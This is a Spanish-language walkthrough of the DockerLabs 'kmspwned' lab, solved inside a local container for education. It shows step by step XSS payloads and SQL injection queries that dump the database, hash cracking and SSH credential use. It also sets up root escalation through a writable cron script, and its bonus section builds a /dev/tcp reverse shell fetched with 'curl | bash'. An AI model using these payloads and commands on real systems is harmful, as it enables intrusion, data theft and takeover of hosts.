July 24, 2026
DockerLabs Writeup — kmspwned (Spanish)
A continuación, describo la guía de resolución del laboratorio de DockerLabs denominado “kmspwned”.

By David Prieto Montero (a.k.a Pyth0nK1d)
17 min read
Este laboratorio está catalogado con la dificultad "Fácil" y su autor es "b4d1t".
ATENCIÓN
Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.
Resumen de contenido sobre este laboratorio
Tags: Bug Bounty, Contraseña débil, Cross-Site Scripting (XSS), Divulgación de información, Ejecución de comandos mediante funcionalidad privilegiada (Broken Access Control), Inyecciones SQL (SQL Injection), Reutilización de contraseñas, Seguridad web, Tareas programadas (cronjobs)
Antes de comenzar, se indica un resumen de contenido que se puede encontrar en esta guía:
- Identificación y explotación de vulnerabilidades web como inyecciones SQL y ejecución de comandos no autorizada debido a credenciales débiles (rotura de control de acceso) para terminar descubriendo credenciales en texto plano asociadas al usuario
carlos, con el cual es posible acceder al sistema a través de SSH debido a reutilización de contraseñas. - Se aprovecha un cronjob ejecutándose en el contexto del usuario
rootque ejecuta un script de backup globalmente modificable para ejecutar instrucciones arbitrarias en este contexto privilegiado, permitiendo escalar privilegios al contexto del usuarioroot. - Identificación y documentación de otras vulnerabilidades web en el proceso de resolución, principalmente en la API.
- Resolución del laboratorio mediante una vía alternativa a la documentada (acceso inicial
www-data+ escalada directa aroot). - Automatización del proceso manual realizado para la extracción de la base de datos sin utilizar SQLMap.
Reconocimiento inicial
Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.
ping -c 1 172.17.0.2ping -c 1 172.17.0.2
Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.
Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.
sudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPortssudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPorts
En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.
nmap -sCV -p 22,80 -n -Pn 172.17.0.2 -oN servicesnmap -sCV -p 22,80 -n -Pn 172.17.0.2 -oN services
En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.
Acceso inicial (carlos)
En este caso se detecta que hay dos puertos abiertos:
- Puerto 22 (servicio SSH, OpenSSH)
- Puerto 80 (servicio HTTP, Apache httpd)
Al revisar el puerto 80, se detecta una página sobre un proveedor de hosting en la nube.
URL: http://172.17.0.2URL: http://172.17.0.2
Revisando el código fuente se detecta un comentario que indica la existencia de un panel de administración. Además, se detecta un script que se encarga de comprobar a través de una API la disponibilidad de extensiones de dominios.
URL: view-source:http://172.17.0.2/
...
<!-- Panel de administracion disponible en /admin/ -->
...
fetch('/lib/kms_api.php',{method:'POST'...URL: view-source:http://172.17.0.2/
...
<!-- Panel de administracion disponible en /admin/ -->
...
fetch('/lib/kms_api.php',{method:'POST'...
Después de revisar esta funcionalidad, resulta que parece presentar una vulnerabilidad de XSS reflejado, al no tener validación de la entrada proporcionada y reflejar directamente el mismo contenido en el DOM.
Input: <img src=x onerror=alert('Pyth0nK1d') />Input: <img src=x onerror=alert('Pyth0nK1d') />
A continuación se decide crear una cuenta a través de la opción de "Crear cuenta" encontrada en la parte superior derecha de la página principal.
URL: http://172.17.0.2/registro.phpURL: http://172.17.0.2/registro.php
Tras realizar el registro, se redirige automáticamente a la página de login para proceder a iniciar sesión.
URL: http://172.17.0.2/login.phpURL: http://172.17.0.2/login.php
Al iniciar sesión, se obtiene acceso a un panel de usuario, el cual parece disponer de la misma funcionalidad para comprobar la disponibilidad de extensiones de dominios encontrada anteriormente en la página principal.
URL: http://172.17.0.2/panel.phpURL: http://172.17.0.2/panel.php
Tras probar, se puede comprobar que esta es igualmente vulnerable a la vulnerabilidad XSS reflejado comprobado anteriormente, ya que utiliza la misma API para ello.
Input: <img src=x onerror=alert('Pyth0nK1d') />Input: <img src=x onerror=alert('Pyth0nK1d') />
Al revisar cómo se gestiona la sesión activa de la aplicación, esta se hace mediante un identificador de sesión PHPSESSID. Además, se comprueba que esta cookie de sesión no tiene asignada el atributo ****HttpOnly. Esto implica que esta es accesible mediante JavaScript, haciendo esta vulnerable a robos mediante ataques XSS.
HttpOnly: false
Input: <img src=x onerror=alert(document.cookie) />HttpOnly: false
Input: <img src=x onerror=alert(document.cookie) />
Después de realizar pruebas de vulnerabilidades comunes sobre esta API, se termina detectando que esta parece presentar también una vulnerabilidad de inyecciones SQL (SQL Injection).
Al fuzzear por el parámetro "extension" utilizado por la API, se puede comprobar que una de las respuestas devuelve un resultado significativamente mayor en tamaño.
ffuf -u "http://172.17.0.2/lib/kms_api.php" -d '{"accion":"buscar_extension","params":{"extension":"FUZZ"}}' -w "/usr/share/seclists/Fuzzing/Databases/SQLi/Generic-SQLi.txt" -H "Content-Type: application/json" -t 64 -fs 59ffuf -u "http://172.17.0.2/lib/kms_api.php" -d '{"accion":"buscar_extension","params":{"extension":"FUZZ"}}' -w "/usr/share/seclists/Fuzzing/Databases/SQLi/Generic-SQLi.txt" -H "Content-Type: application/json" -t 64 -fs 59
Al facilitar esta carga útil a través del panel, se puede comprobar que este devuelve en la respuesta de la API el contenido de toda la tabla que utiliza la base de datos para almacenar las extensiones de esta funcionalidad, verificando así la presencia de esta vulnerabilidad.
Input: hi' or 'a'='aInput: hi' or 'a'='a
Como el tipo de inyección SQL parece ser UNION-based, utilizando Burp Suite se procede a validar el número de columnas, que por el formato de la respuesta parece ser 3.
Carga útil (extension): test' UNION ALL SELECT 1,2,3-- -
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"1","extension":"2","precio":"3.00"}]}Carga útil (extension): test' UNION ALL SELECT 1,2,3-- -
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"1","extension":"2","precio":"3.00"}]}
Para comprobar que es posible extraer información de la base de datos, se prueba a intentar extraer datos específicos, como el usuario actual y la versión de la base de datos.
Carga útil (extension): test' UNION ALL SELECT user(),@@version,3-- -
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"dbadmin@localhost","extension":"10.5.29-MariaDB-0+deb11u1","precio":"3.00"}]}Carga útil (extension): test' UNION ALL SELECT user(),@@version,3-- -
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"dbadmin@localhost","extension":"10.5.29-MariaDB-0+deb11u1","precio":"3.00"}]}
A continuación se procede a enumerar las bases de datos disponibles.
Carga útil (extension): "test' UNION ALL SELECT catalog_name,schema_name,3 FROM information_schema.schemata-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"def","extension":"information_schema","precio":"3.00"},{"id":"def","extension":"servicloud_erp","precio":"3.00"}]}Carga útil (extension): "test' UNION ALL SELECT catalog_name,schema_name,3 FROM information_schema.schemata-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"def","extension":"information_schema","precio":"3.00"},{"id":"def","extension":"servicloud_erp","precio":"3.00"}]}
La única que parece de interés es la denominada "servicloud_erp", ya que esta parece ser la base de datos utilizada por la aplicación web. Por ello, se procede a enumerar las tablas existentes sobre esta base de datos.
Carga útil (extension): "test' UNION ALL SELECT table_schema,table_name,3 FROM information_schema.tables WHERE table_schema='servicloud_erp'-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"servicloud_erp","extension":"sc_notas","precio":"3.00"},{"id":"servicloud_erp","extension":"web_usuarios","precio":"3.00"},{"id":"servicloud_erp","extension":"sc_facturas","precio":"3.00"},{"id":"servicloud_erp","extension":"sc_extensiones","precio":"3.00"},{"id":"servicloud_erp","extension":"sc_flags","precio":"3.00"},{"id":"servicloud_erp","extension":"sc_usuarios","precio":"3.00"},{"id":"servicloud_erp","extension":"sc_clientes","precio":"3.00"}]}Carga útil (extension): "test' UNION ALL SELECT table_schema,table_name,3 FROM information_schema.tables WHERE table_schema='servicloud_erp'-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"servicloud_erp","extension":"sc_notas","precio":"3.00"},{"id":"servicloud_erp","extension":"web_usuarios","precio":"3.00"},{"id":"servicloud_erp","extension":"sc_facturas","precio":"3.00"},{"id":"servicloud_erp","extension":"sc_extensiones","precio":"3.00"},{"id":"servicloud_erp","extension":"sc_flags","precio":"3.00"},{"id":"servicloud_erp","extension":"sc_usuarios","precio":"3.00"},{"id":"servicloud_erp","extension":"sc_clientes","precio":"3.00"}]}
En este punto se procede a extraer el contenido de estas tablas, centrándose en los campos más relevantes y analizarlos más detenidamente.
Primero se obtienen las columnas de la tabla "sc_notas".
Carga útil (extension): "test' UNION ALL SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE table_name='sc_notas'-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"servicloud_erp","extension":"sc_notas","precio":"id"},{"id":"servicloud_erp","extension":"sc_notas","precio":"autor"},{"id":"servicloud_erp","extension":"sc_notas","precio":"nota"},{"id":"servicloud_erp","extension":"sc_notas","precio":"creada"}]}Carga útil (extension): "test' UNION ALL SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE table_name='sc_notas'-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"servicloud_erp","extension":"sc_notas","precio":"id"},{"id":"servicloud_erp","extension":"sc_notas","precio":"autor"},{"id":"servicloud_erp","extension":"sc_notas","precio":"nota"},{"id":"servicloud_erp","extension":"sc_notas","precio":"creada"}]}
Una vez conocidas las columnas, se extrae el contenido de la tabla.
Esta tabla parece contener una serie de notas escritas por otros usuarios de la aplicación, indicando explícitamente la existencia de varios recursos que debería permanecer ocultos por su naturaleza.
Carga útil (extension): "test' UNION ALL SELECT autor,nota,creada FROM servicloud_erp.sc_notas-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"carlos","extension":"El panel de administracion esta en \/admin\/. Credenciales en la base de datos.","precio":"<RECORTADO>"},{"id":"admin","extension":"Script de backup en \/opt\/backup.sh \u00e2\u20ac\u201d pendiente revisar permisos.","precio":"<RECORTADO>"}]}Carga útil (extension): "test' UNION ALL SELECT autor,nota,creada FROM servicloud_erp.sc_notas-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"carlos","extension":"El panel de administracion esta en \/admin\/. Credenciales en la base de datos.","precio":"<RECORTADO>"},{"id":"admin","extension":"Script de backup en \/opt\/backup.sh \u00e2\u20ac\u201d pendiente revisar permisos.","precio":"<RECORTADO>"}]}
La segunda tabla se denomina "web_usuarios" y se procede a extraer sus columnas.
Carga útil (extension): "test' UNION ALL SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE table_name='web_usuarios'-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"servicloud_erp","extension":"web_usuarios","precio":"id"},{"id":"servicloud_erp","extension":"web_usuarios","precio":"usuario"},{"id":"servicloud_erp","extension":"web_usuarios","precio":"password"},{"id":"servicloud_erp","extension":"web_usuarios","precio":"email"},{"id":"servicloud_erp","extension":"web_usuarios","precio":"creado"}]}Carga útil (extension): "test' UNION ALL SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE table_name='web_usuarios'-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"servicloud_erp","extension":"web_usuarios","precio":"id"},{"id":"servicloud_erp","extension":"web_usuarios","precio":"usuario"},{"id":"servicloud_erp","extension":"web_usuarios","precio":"password"},{"id":"servicloud_erp","extension":"web_usuarios","precio":"email"},{"id":"servicloud_erp","extension":"web_usuarios","precio":"creado"}]}
Una vez conocidas las columnas, se extrae el contenido de la tabla.
Esta tabla parece contener los usuarios registrados a través de la aplicación web. En este caso se detectan dos, ya que se ha probado a registrar un nuevo usuario al intentar realizar otras pruebas.
Carga útil (extension): "test' UNION ALL SELECT usuario,password,email FROM servicloud_erp.web_usuarios-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"Pyth0nK1d","extension":"<RECORTADO>","precio":"test@test.test"},{"id":"test","extension":"<RECORTADO>","precio":"a@a.com"}]}Carga útil (extension): "test' UNION ALL SELECT usuario,password,email FROM servicloud_erp.web_usuarios-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"Pyth0nK1d","extension":"<RECORTADO>","precio":"test@test.test"},{"id":"test","extension":"<RECORTADO>","precio":"a@a.com"}]}
La tercera tabla se denomina "sc_facturas" y se procede a extraer sus columnas.
Carga útil (extension): "test' UNION ALL SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE table_name='sc_facturas'-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"servicloud_erp","extension":"sc_facturas","precio":"id"},{"id":"servicloud_erp","extension":"sc_facturas","precio":"cliente_id"},{"id":"servicloud_erp","extension":"sc_facturas","precio":"importe"},{"id":"servicloud_erp","extension":"sc_facturas","precio":"concepto"},{"id":"servicloud_erp","extension":"sc_facturas","precio":"estado"},{"id":"servicloud_erp","extension":"sc_facturas","precio":"creada"}]}Carga útil (extension): "test' UNION ALL SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE table_name='sc_facturas'-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"servicloud_erp","extension":"sc_facturas","precio":"id"},{"id":"servicloud_erp","extension":"sc_facturas","precio":"cliente_id"},{"id":"servicloud_erp","extension":"sc_facturas","precio":"importe"},{"id":"servicloud_erp","extension":"sc_facturas","precio":"concepto"},{"id":"servicloud_erp","extension":"sc_facturas","precio":"estado"},{"id":"servicloud_erp","extension":"sc_facturas","precio":"creada"}]}
Una vez conocidas las columnas, se extrae el contenido de la tabla.
Esta tabla parece contener la información de facturas asociadas a clientes de los servicios ofrecidos por la aplicación web.
Carga útil (extension): "test' UNION ALL SELECT cliente_id,importe,concepto FROM servicloud_erp.sc_facturas-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"1","extension":"599.00","precio":"Hosting anual + dominio"},{"id":"2","extension":"1200.00","precio":"Servidor cloud 6 meses"},{"id":"3","extension":"350.00","precio":"Licencia ERP anual"}]}Carga útil (extension): "test' UNION ALL SELECT cliente_id,importe,concepto FROM servicloud_erp.sc_facturas-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"1","extension":"599.00","precio":"Hosting anual + dominio"},{"id":"2","extension":"1200.00","precio":"Servidor cloud 6 meses"},{"id":"3","extension":"350.00","precio":"Licencia ERP anual"}]}
La cuarta tabla se denomina "sc_extensiones" y se procede a extraer sus columnas.
Carga útil (extension): "test' UNION ALL SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE table_name='sc_extensiones'-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"servicloud_erp","extension":"sc_extensiones","precio":"id"},{"id":"servicloud_erp","extension":"sc_extensiones","precio":"extension"},{"id":"servicloud_erp","extension":"sc_extensiones","precio":"precio"},{"id":"servicloud_erp","extension":"sc_extensiones","precio":"activo"}]}Carga útil (extension): "test' UNION ALL SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE table_name='sc_extensiones'-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"servicloud_erp","extension":"sc_extensiones","precio":"id"},{"id":"servicloud_erp","extension":"sc_extensiones","precio":"extension"},{"id":"servicloud_erp","extension":"sc_extensiones","precio":"precio"},{"id":"servicloud_erp","extension":"sc_extensiones","precio":"activo"}]}
Una vez conocidas las columnas, se extrae el contenido de la tabla.
Esta tabla parece contener las extensiones disponibles que ofrece los servicios de esta aplicación web.
Carga útil (extension): "test' UNION ALL SELECT extension,precio,activo FROM servicloud_erp.sc_extensiones-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"com","extension":"9.99","precio":"1.00"},{"id":"net","extension":"8.99","precio":"1.00"},{"id":"org","extension":"7.99","precio":"1.00"},{"id":"es","extension":"5.99","precio":"1.00"},{"id":"eu","extension":"6.99","precio":"1.00"},{"id":"io","extension":"19.99","precio":"1.00"},{"id":"dev","extension":"12.99","precio":"1.00"},{"id":"app","extension":"14.99","precio":"1.00"}]}Carga útil (extension): "test' UNION ALL SELECT extension,precio,activo FROM servicloud_erp.sc_extensiones-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"com","extension":"9.99","precio":"1.00"},{"id":"net","extension":"8.99","precio":"1.00"},{"id":"org","extension":"7.99","precio":"1.00"},{"id":"es","extension":"5.99","precio":"1.00"},{"id":"eu","extension":"6.99","precio":"1.00"},{"id":"io","extension":"19.99","precio":"1.00"},{"id":"dev","extension":"12.99","precio":"1.00"},{"id":"app","extension":"14.99","precio":"1.00"}]}
La quinta tabla se denomina "sc_flags" y se procede a extraer sus columnas.
Carga útil (extension): "test' UNION ALL SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE table_name='sc_flags'-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"servicloud_erp","extension":"sc_flags","precio":"id"},{"id":"servicloud_erp","extension":"sc_flags","precio":"nombre"},{"id":"servicloud_erp","extension":"sc_flags","precio":"flag"}]}Carga útil (extension): "test' UNION ALL SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE table_name='sc_flags'-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"servicloud_erp","extension":"sc_flags","precio":"id"},{"id":"servicloud_erp","extension":"sc_flags","precio":"nombre"},{"id":"servicloud_erp","extension":"sc_flags","precio":"flag"}]}
Una vez conocidas las columnas, se extrae el contenido de la tabla.
Esta tabla parece contener las flags asociadas a diferentes hitos a alcanzar en relación con la explotación de esta aplicación web.
Carga útil (extension): "test' UNION ALL SELECT id,nombre,flag FROM servicloud_erp.sc_flags-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"1","extension":"flag_usuario","precio":"<RECORTADO>"},{"id":"2","extension":"flag_admin","precio":"<RECORTADO>"}]}Carga útil (extension): "test' UNION ALL SELECT id,nombre,flag FROM servicloud_erp.sc_flags-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"1","extension":"flag_usuario","precio":"<RECORTADO>"},{"id":"2","extension":"flag_admin","precio":"<RECORTADO>"}]}
La sexta tabla se denomina "sc_usuarios" y se procede a extraer sus columnas.
Carga útil (extension): "test' UNION ALL SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE table_name='sc_usuarios'-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"servicloud_erp","extension":"sc_usuarios","precio":"id"},{"id":"servicloud_erp","extension":"sc_usuarios","precio":"usuario"},{"id":"servicloud_erp","extension":"sc_usuarios","precio":"password"},{"id":"servicloud_erp","extension":"sc_usuarios","precio":"email"},{"id":"servicloud_erp","extension":"sc_usuarios","precio":"rol"},{"id":"servicloud_erp","extension":"sc_usuarios","precio":"creado"}]}Carga útil (extension): "test' UNION ALL SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE table_name='sc_usuarios'-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"servicloud_erp","extension":"sc_usuarios","precio":"id"},{"id":"servicloud_erp","extension":"sc_usuarios","precio":"usuario"},{"id":"servicloud_erp","extension":"sc_usuarios","precio":"password"},{"id":"servicloud_erp","extension":"sc_usuarios","precio":"email"},{"id":"servicloud_erp","extension":"sc_usuarios","precio":"rol"},{"id":"servicloud_erp","extension":"sc_usuarios","precio":"creado"}]}
Una vez conocidas las columnas, se extrae el contenido de la tabla.
Esta tabla parece contener una serie de usuarios reservados, entre ellos un usuario que parece ser el administrador de la aplicación web.
Carga útil (extension): "test' UNION ALL SELECT usuario,password,rol FROM servicloud_erp.sc_usuarios-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"admin","extension":"<RECORTADO>","precio":"admin"},{"id":"carlos","extension":"<RECORTADO>","precio":"gestor"},{"id":"ana","extension":"<RECORTADO>","precio":"usuario"}]}Carga útil (extension): "test' UNION ALL SELECT usuario,password,rol FROM servicloud_erp.sc_usuarios-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"admin","extension":"<RECORTADO>","precio":"admin"},{"id":"carlos","extension":"<RECORTADO>","precio":"gestor"},{"id":"ana","extension":"<RECORTADO>","precio":"usuario"}]}
La séptima y última tabla se denomina "sc_clientes" y se procede a extraer sus columnas.
Carga útil (extension): "test' UNION ALL SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE table_name='sc_clientes'-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"servicloud_erp","extension":"sc_clientes","precio":"id"},{"id":"servicloud_erp","extension":"sc_clientes","precio":"nombre"},{"id":"servicloud_erp","extension":"sc_clientes","precio":"email"},{"id":"servicloud_erp","extension":"sc_clientes","precio":"telefono"},{"id":"servicloud_erp","extension":"sc_clientes","precio":"nif"},{"id":"servicloud_erp","extension":"sc_clientes","precio":"direccion"}]}Carga útil (extension): "test' UNION ALL SELECT table_schema,table_name,column_name FROM information_schema.columns WHERE table_name='sc_clientes'-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"servicloud_erp","extension":"sc_clientes","precio":"id"},{"id":"servicloud_erp","extension":"sc_clientes","precio":"nombre"},{"id":"servicloud_erp","extension":"sc_clientes","precio":"email"},{"id":"servicloud_erp","extension":"sc_clientes","precio":"telefono"},{"id":"servicloud_erp","extension":"sc_clientes","precio":"nif"},{"id":"servicloud_erp","extension":"sc_clientes","precio":"direccion"}]}
Una vez conocidas las columnas, se extrae el contenido de la tabla.
Esta tabla parece contener información personal (PII) asociada a los clientes de los servicios ofrecidos ofrecidos por esta aplicación web.
Carga útil (extension): "test' UNION ALL SELECT CONCAT(id,',',nombre,',',email,',',telefono,',',nif,',',direccion),2,3 FROM servicloud_erp.sc_clientes-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"<RECORTADO>","extension":"2","precio":"3.00"},{"id":"<RECORTADO>","extension":"2","precio":"3.00"},{"id":"<RECORTADO>","extension":"2","precio":"3.00"}]}Carga útil (extension): "test' UNION ALL SELECT CONCAT(id,',',nombre,',',email,',',telefono,',',nif,',',direccion),2,3 FROM servicloud_erp.sc_clientes-- -"
Output: {"estado":"ok","mensaje":"Consulta ejecutada correctamente","datos":[{"id":"<RECORTADO>","extension":"2","precio":"3.00"},{"id":"<RECORTADO>","extension":"2","precio":"3.00"},{"id":"<RECORTADO>","extension":"2","precio":"3.00"}]}
Al comprobar el hash extraído del usuario administrador parece tener el formato MD5.
hashid <RECORTADO>hashid <RECORTADO>
Tras probar, se consiguen romper los hashes encontrados previamente.
# usuarios.hashes
admin:<HASH_ADMIN>
carlos:<HASH_CARLOS>
ana:<HASH_ANA>
mousepad usuarios.hashes
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 usuarios.hashes# usuarios.hashes
admin:<HASH_ADMIN>
carlos:<HASH_CARLOS>
ana:<HASH_ANA>
mousepad usuarios.hashes
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 usuarios.hashes
En este punto se recuerda el panel de administración disponible en la web. Se accede para comprobar que dispone de un nuevo formulario de login.
URL: http://172.17.0.2/admin/URL: http://172.17.0.2/admin/
Al introducir las credenciales del usuario "admin", se consigue obtener acceso al panel de administración, obteniendo en este una de las flags encontradas previamente el enumerar la base de datos.
Se puede comprobar que desde aquí hay disponible un apartado para gestionar los usuarios y una utilidad de diagnóstico que parece permitir ejecutar comandos del sistema, funcionalidad intencionalmente desarrollada para uso exclusivo de usuarios administradores.
URL: http://172.17.0.2/admin/index.phpURL: http://172.17.0.2/admin/index.php
Tras probar a utilizar la herramienta de diagnóstico para ejecutar comandos, se puede comprobar que este permite ejecutar cualquier comando sin ningún tipo de restricción en el contexto del usuario "www-data".
Se realizan pruebas de esta funcionalidad mediante Burp Suite.
POST /admin/index.php
Body: cmd=id
Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)POST /admin/index.php
Body: cmd=id
Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Nota importante: Desde aquí se puede obtener acceso inicial como el usuario "www-data", pero en este caso se ha resuelto de otra forma.
Desde aquí se comprueba que existe un usuario denominado "carlos" en el sistema.
POST /admin/index.php
Body: cmd=cat /etc/passwd | grep -i sh
Output:
root:x:0:0:root:/root:/bin/bash
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
carlos:x:1000:1000::/home/carlos:/bin/bashPOST /admin/index.php
Body: cmd=cat /etc/passwd | grep -i sh
Output:
root:x:0:0:root:/root:/bin/bash
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
carlos:x:1000:1000::/home/carlos:/bin/bash
Al disponer de credenciales de un usuario "carlos" de la aplicación web, se prueba estas credenciales en el servicio SSH. En este punto se comprueba que el usuario de la web "carlos" reutiliza las credenciales en la cuenta del sistema con su mismo nombre, permitiendo así acceder mediante SSH.
hydra -l carlos -p <RECORTADO> ssh://172.17.0.2 -I -f -t 4hydra -l carlos -p <RECORTADO> ssh://172.17.0.2 -I -f -t 4
De esta forma, es posible realizar el acceso inicial como el usuario del sistema "carlos" a través del servicio SSH.
ssh carlos@172.17.0.2
yes (aceptar conexión sin comprobar autenticidad)
<introducir la contraseña descubierta>
whoami
id
hostnamessh carlos@172.17.0.2
yes (aceptar conexión sin comprobar autenticidad)
<introducir la contraseña descubierta>
whoami
id
hostname
Por último, se obtiene la flag asociada a este usuario.
ls -al
cat user.txtls -al
cat user.txt
Escalada de privilegios (carlos -> root)
Al revisar el directorio principal de este usuario, se detecta una nota que habla nuevamente de un script denominado "/opt/backup.sh", y que requiere una revisión de permisos.
ls -al
cat notas.txt
...
Recordatorio: revisar permisos del script de backup en /opt/backup.shls -al
cat notas.txt
...
Recordatorio: revisar permisos del script de backup en /opt/backup.sh
Revisando recursos asociados a este script, se detecta que este se ejecuta a través de un cronjob o tarea programada cada minuto y bajo el contexto del usuario "root".
Además, revisando sus permisos se puede comprobar que este es modificable globalmente, lo que significa que cualquier usuario puede modificar este script, y por tanto ejecutar comandos en el contexto del usuario "root".
cat /etc/crontab
...
* * * * * root /opt/backup.sh
ls -al /opt/backup.sh
cat /opt/backup.shcat /etc/crontab
...
* * * * * root /opt/backup.sh
ls -al /opt/backup.sh
cat /opt/backup.sh
En este caso, se modifica el script introduciendo los comandos que se desean ejecutar en el contexto del usuario "root" para escalar privilegios.
Por ello, los comandos que se van a introducir para que sean ejecutados consiste en crear una copia del binario Bash y se le asigne a esta copia el bit SUID.
Una vez realizada la modificación y tras esperar un minuto o dos, se puede comprobar que la copia se ha generado y dispone del bit SUID asignado.
cat /opt/backup.sh
echo -e "\ncp /bin/bash /tmp/root-bash\nchmod +s /tmp/root-bash" >> /opt/backup.sh
cat /opt/backup.sh
(esperar 1 o 2 minutos)
ls -al /tmpcat /opt/backup.sh
echo -e "\ncp /bin/bash /tmp/root-bash\nchmod +s /tmp/root-bash" >> /opt/backup.sh
cat /opt/backup.sh
(esperar 1 o 2 minutos)
ls -al /tmp
Utilizando el binario generado, se posible tener acceso al contexto del usuario "root" y obtener la flag asociada a este usuario.
/tmp/root-bash -p
whoami
id
hostname
cd /root
ls -al
cat root.txt/tmp/root-bash -p
whoami
id
hostname
cd /root
ls -al
cat root.txt
En este punto, al haber obtenido acceso a la cuenta "root", se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).
BONUS 1: Acceso inicial como "www-data" + escalada directa a "root" de otra forma
Volviendo una vez más al apartado que permite la ejecución de comandos del sistema, como se ha indicado anteriormente, es posible obtener acceso al sistema gracias a la funcionalidad que permite ejecución de comandos.
Para ello, primero se establece un puerto a la escucha.
nc -nvlp 1337nc -nvlp 1337
A continuación, se crea una consola inversa escrita en Bash en un script y se hace disponible a través de un servidor HTTP con Python.
# rev.sh
#!/bin/bash
/bin/bash -c "/bin/bash -i >& /dev/tcp/172.17.0.1/1337 0>&1"
mousepad rev.sh
python3 -m http.server 80# rev.sh
#!/bin/bash
/bin/bash -c "/bin/bash -i >& /dev/tcp/172.17.0.1/1337 0>&1"
mousepad rev.sh
python3 -m http.server 80
Luego, se aprovecha la ejecución de comandos para descargar el script y redirgir su contenido a una Bash mediante una pipe para ejecutar su contenido. Esto no devuelve ninguna respuesta.
POST /admin/index.php
Body: cmd=curl -s http://172.17.0.1/rev.sh | bashPOST /admin/index.php
Body: cmd=curl -s http://172.17.0.1/rev.sh | bash
Al revisar el puerto a la escucha previamente establecido, se puede comprobar que se ha obtenido acceso al sistema como el usuario "www-data".
whoami
id
hostnamewhoami
id
hostname
Para terminar con el acceso inicial, se actualiza la consola a una TTY.
script /dev/null -c bash
CTRL+Z
stty raw -echo;fg
reset xterm
